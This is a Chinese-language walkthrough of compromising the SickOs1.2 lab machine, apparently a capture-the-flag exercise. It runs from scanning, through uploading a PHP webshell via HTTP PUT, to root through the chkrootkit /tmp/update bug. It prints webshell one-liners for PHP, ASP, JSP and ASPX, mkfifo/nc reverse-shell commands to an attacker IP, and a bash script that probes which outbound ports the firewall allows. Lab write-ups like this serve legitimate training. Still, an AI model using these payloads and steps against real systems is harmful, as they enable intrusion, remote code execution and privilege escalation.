SickOs1.2

arp-scan -l nmap --min-rate 100000 -p- 192.168.111.132 nmap --min-rate 100000 -p22,80 -A 192.168.111.132

image-20241115083158641简单做完信息收集,22号端口先不管他。开始对80端口进行信息收集,dirsearch -u 192.168.111.132 dirb http://192.168.111.132/

区别在于后者可以指定字典轻度扫描,前者是深度扫描。在扫描速度上dirb>dirsearch 在扫描深度上dirb<dirsearch

nikto -host 192.168.111.132 -p 80看下80端口具体有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
## 1:普通扫描

nikto -h 目标实例:nikto -h 192.168.50.11

## 2:扫描指定端口

nikto -h 192.168.0.1 -p 443

## 3:目录猜解

-C 指定CGI目录 –all表示猜解CGI目录

nikto -h 192.168.3.111 -C all

## 4:漏洞扫描

-T选项包含很多小选项 –T 9表示扫描SQL注入漏洞

-T选项包含的小选项解释:

0检查文件上传页面

1 检查web日志 nikto -h 192.168.111.132 -T 1

2检查错误配置或默认文件 nikto -h 192.168.111.132 -T 2

3检查信息泄露问题 nikto -h 192.168.111.132 -T 3

4 检查[XSS](https://so.csdn.net/so/search?q=XSS&spm=1001.2101.3001.7020)/Script/HTML问题 nikto -h 192.168.111.132 -T 4

5 从根目录检查是否存在可访问的文件 nikto -h 192.168.111.132 -T 5

6检查拒绝服务问题 nikto -h 192.168.111.132 -T 6

7从任意文件检索是否存在可访问文件 nikto -h 192.168.111.132 -T 7

8 检查是否存在系统命令执行漏洞 nikto -h 192.168.111.132 -T 8

9 检查SQL注入漏洞 nikto -h 192.168.111.132 -T 9

-a 检查认证绕过问题 nikto -h 192.168.111.132 -a

-b 识别安装的软件版本 nikto -h 192.168.111.132 -b

-c 检查源代码泄露问题 nikto -h 192.168.111.132 -c

-x 反向链接选项 nikto -h 192.168.111.132 -x

在dirsearch扫描到一个目录/test/,网站是基于Lighttpd Lighttpd是一个德国人领导的开源软件,其根本的目的是提供一个专门针对高性能网站,安全、快速、兼容性好并且灵活的web server环境。具有非常低的内存开销,cpu占用率低,效能好,以及丰富的模块等特点。这里看到版本是1.4.28 尝试搜索相关漏洞

image-20241115085048736

image-20241115085334950

image-20241115085602775

根据漏洞的payload不能发现敏感信息,目前只能从/test/入手了,nmap –min-rate 100000 192.168.111.132 –script=http-methods.nse –script-args=http.methods.url-path=”/test” 扫描/test页面的支持的http方法

image-20241115091129404

或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法 发现是存在PUT方法的,那么尝试传入一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PHP格式<?php @eval($_POST[cmd]);?>   <?php @eval($_REQUEST[cmd]);?>
<?php ?>:代码写在这里面才会被服务器认为是php代码,然后才会按php的格式解析
@:这个符号的意思是不报错,即便是这里面的代码执行出错也不会报错,如果没有这个符号一旦语句有错误就会使用不了
eval()函数:把函数里面的字符串作为PHP代码执行
$_POST[]:意思就是在这个中括号里面的内容使用POST的方法进行接收,在PHP里面不仅有POST还有GET、REQUSET等


ASP格式<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>
JSP格式
<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>
ASPX格式
<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>

image-20241115092506078

这里需要的是稳定的shell,直接反弹shell,在kali上操作这里直接反弹连接不上,估计是开了防火墙,限制了出网那就,换个思路

1
2
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.111.132/test/shell.php
curl -v -X PUT -d '<?php system("mkfifo /tmp/f; nc 192.168.111.128 1111 0</tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f");?>' http://192.168.111.132/test/f.php

image-20241115093207185

弹了半天,都弹不上,猜测是站点设置了出口限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash

# 靶机ip
target_ip="192.168.111.132"
# 攻击者ip
callback_ip="192.168.111.128"

# 攻击者机器的临时监听文件
output_file="/tmp/nc_output"


for port in $(seq 8078 65535);do

echo "[*] Scanning ${port}"
if [ -f "$output_file" ]; then
echo "[*] $output_file exists, Deleting it..."
echo "" > "$output_file"
else
echo "[*] $output_file does not exist."
fi

touch "$output_file"; nc -nvlp ${port} > "$output_file" 2>&1 &
nc_pid=$!
echo "[*] nc_pid is $nc_pid"
sleep 1

reverse_shell="nc ${callback_ip} ${port}"
encoded_shell=$(echo "$reverse_shell" | base64 | tr -d '\n')
request_url="http://${target_ip}/test/1.php?a=echo%20%22${encoded_shell}%22%20|%20base64%20-d%20|%20bash"

echo "[*] Sending request to ${request_url}"
curl --max-time 1 -s "${request_url}"
result=$(cat "$output_file" | grep connect)

# echo "$result"

if [ "$result" != "" ]; then
echo "[!] This port ${port} can reach."
else
echo "[*] This port ${port} can not reach."
fi

# if grep -q "connect" "$output_file"; then
# echo "[*] The port can reach"
# fi
sleep 1
nc_process=$(ps aux | grep "$nc_pid")

if [ "$nc_process" != "" ]; then
echo "[*] The ${nc_pid} is running, kill it."
kill "$nc_pid"
fi
echo -e "\n\n"
done
echo "[*] Port scanning and reverse shell requests completed."

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
> 信息收集:
> sudo -l:没有权限
> cat /etc/crontab:没有任何计划任务
> find / -perm -u=s -type f 2>/dev/null:没有可利用的suid文件
> 内核漏洞searchsploit,没有适合的漏洞利用
> 敏感信息收集:发现用户很少,私人信息也很少,不可利用
>
> 但是linux仍然可能存在提权漏洞,我们需要使用工具linpeas扫描

> 这就是我们扫描防火墙的优势,因为我们可以请求攻击机器8080端口获取linpeas.sh脚本
>
> 攻击机器:python3 -m http.server 8080
> 靶机:wget http://192.168.148.47:8080/linpeas.sh
>
> 执行./linpeas.sh,我们将获取到足够多的信息,以及足够多的漏洞,其中这样的一个漏洞引人注目:
>
> [+] [CVE-2014-0476] chkrootkit
> Details: http://seclists.org/oss-sec/2014/q2/430
> Exposure: less probable
> Download URL: https://www.exploit-db.com/download/33899
> Comments: Rooting depends on the crontab (up to one day of delay)
>
> 它不是内核漏洞,但需要依赖crontab
> 我们进入它的利用文章查看即可

> exp是个txt文件,以下是对exp的翻译:
> 如果 $file_port 为空,则由于变量赋值周围缺少引号,因此行 'file_port=$file_port $i' 将在 chkrootkit 运行时(通常是 root)执行 $SLAPPER_FILES 中指定的所有文件。
>
> 重现步骤:
>
> - 将名为 'update' 的可执行文件放入 /tmp 中,该文件的所有者为非 root(显然不是挂载的 noexec)
> - 运行 chkrootkit(作为 uid 0
>
> 结果:如果文件中放置了恶意内容,则文件 /tmp/update 将以 root 身份执行,从而有效地 root 您的机器。
>
> 如果攻击者知道您正在定期运行 chkrootkit(例如在 cron.daily 中)并且对 /tmp 具有写访问权限(不是挂载的 noexec),他可能会轻松利用这一点。

> 我们按照它的说法:
> 1.以任意用户新建/tmp/update文件
> 2.将root权限的反弹shell写入/tmp/update
> 3.给他可执行权限:chmod +x /tmp/update
>
> 靶机:echo "mkfifo /tmp/f;nc 192.168.148.47 8080 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f" >/tmp/update
> 攻击机:nc -nvlp 8080
>
> 过一段时间获取root权限
> whoami
> root
> id
> uid=0(root) gid=0(root) groups=0(root)

防火墙分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
之前www-data,也就是打点进来的用户是没有权限查看iptables的,现在我们是root权限,可以查看防火墙规则,现在我将详细解释管理员是如何设置iptables的

iptables -L
结果如下:
Chain INPUT (policy DROP)0
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:http
ACCEPT tcp -- anywhere anywhere tcp spt:http-alt
ACCEPT tcp -- anywhere anywhere tcp spt:https

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp spt:ssh
ACCEPT tcp -- anywhere anywhere tcp spt:http
ACCEPT tcp -- anywhere anywhere tcp dpt:http-alt
ACCEPT tcp -- anywhere anywhere tcp dpt:https

INPUT规则解析
允许出网时要满足的条件(源端口spt为本地端口,目标端口dpt为远程端口)(满足其中一条即可):
1.允许本地端口2280出网,远程端口任意
2.允许远程端口8080443出网,本地端口任意

OUTPUT规则解析
允许入网时要满足的条件(源端口spt为远程端口,目标端口dpt为本地端口)(满足其中一条即可):
1.允许本地端口为8022入网,远程端口任意
2.允许远程端口是4438080入网,本地端口任意

综上:
完整通信的满足条件(满足一条就可):
1.本地端口为2280,可以完整通信
2.远程端口为4438080,可以完整通信

反弹shell
靶机开启一个随机的本地端口,连接远程攻击机器的端口,我们只需要攻击机监听443或、8080端口,满足完整通信的条件2就可以使用反弹shell

为什么大多情况要使用反弹shell,因为反弹shell是靶机主动发起的连接,要限制反弹shell,管理员就必须限制连接过来的端口号,而大多数情况下,连接过来的端口都是随机的,管理员也不好限制,因为一旦限制就损坏了服务的可用性